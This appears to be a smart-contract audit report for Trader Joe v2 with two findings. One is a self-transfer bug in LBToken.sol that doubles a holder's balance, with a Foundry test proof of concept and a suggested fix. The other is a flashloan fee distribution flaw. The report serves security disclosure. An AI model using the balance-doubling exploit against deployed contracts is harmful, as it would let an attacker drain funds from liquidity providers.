Trader Joe v2 contest - parashar's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L189

Vulnerability details

Impact

User can keep transferring tokens to himself and keep doubling his balance on each transfer, as a result with manipulated LP balance he can withdraw pool tokens

Proof of Concept

Run this test in LBToken.t.sol, which passes, essentially doubling DEV balance

function testSafeTransferToSelf() public {
      uint256 amountIn = 1e18;

      (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

      uint256[] memory amounts = new uint256[](5);
      for (uint256 i; i < 5; i++) {
          assertEq(pair.userPositionAtIndex(DEV, i), _ids[i]);
          amounts[i] = pair.balanceOf(DEV, _ids[i]);
      }
      assertEq(pair.userPositionNumber(DEV), 5);

      assertEq(pair.balanceOf(DEV, ID_ONE - 1), amountIn / 3);
      emit TransferSingle(DEV, DEV, ALICE, _ids[0], amounts[0]);
      pair.safeTransferFrom(DEV, DEV, _ids[0], amounts[0]);
      assertEq(pair.balanceOf(DEV, _ids[0]), 2*amounts[0]);

  }

Tools Used

Foundry

Recommended Mitigation Steps

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L189

    unchecked {
            _balances[_id][_to] = _toBalance + _amount;
            _balances[_id][_from] = _fromBalance - _amount;
        }

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBPair.sol#L452

Vulnerability details

Impact

Flashloan fees not distributed to LP correctly

Proof of Concept

While taking flashloan reserves across various bins are being used, but while distributing fees, it is only being distributed to LP of active bin id, which can be used by contract using flashloan to minimize the fees paid by him

Tools Used

Recommended Mitigation Steps

While distributing fees, it should distribute based on reserves used across bins.